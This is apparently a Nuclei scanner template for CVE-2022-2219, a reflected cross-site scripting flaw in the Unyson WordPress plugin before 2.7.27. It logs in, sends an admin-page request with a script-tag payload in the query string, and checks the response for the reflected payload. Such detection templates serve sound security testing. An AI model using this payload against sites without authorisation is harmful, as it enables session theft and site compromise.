Unyson < 2.7.27 - Cross Site Scripting

id: CVE-2022-2219

info:
  name: Unyson < 2.7.27 - Cross Site Scripting
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected website.
  remediation: Fixed in version 2.7.27
  reference:
    - https://wpscan.com/vulnerability/1240797c-7f45-4c36-83f0-501c544ce76a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2219
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2022-2219
    cwe-id: CWE-79
    epss-score: 0.01448
    epss-percentile: 0.70026
    cpe: cpe:2.3:a:brizy:unyson:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: brizy
    product: unyson
    framework: wordpress
  tags: cve,cve2022,authenticated,wordpress,wp,xss,unyson,wp-plugin,wpscan,brizy,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "script%3Ealert%28document.domain%29%3C%2Fscript%3")'
          - 'contains(body_2, "Unyson")'
        condition: and
# digest: 4a0a00473045022013c6f6bb1e7162d011a16baf267e3421a8171aeb2d8fc4bd2aad9b4952c2dd51022100c0c955e92150fbff98f103163b0a1b37989c7a5de4861ca234d0c1502a3e141a:922c64590222798bb761d5b6d8e72950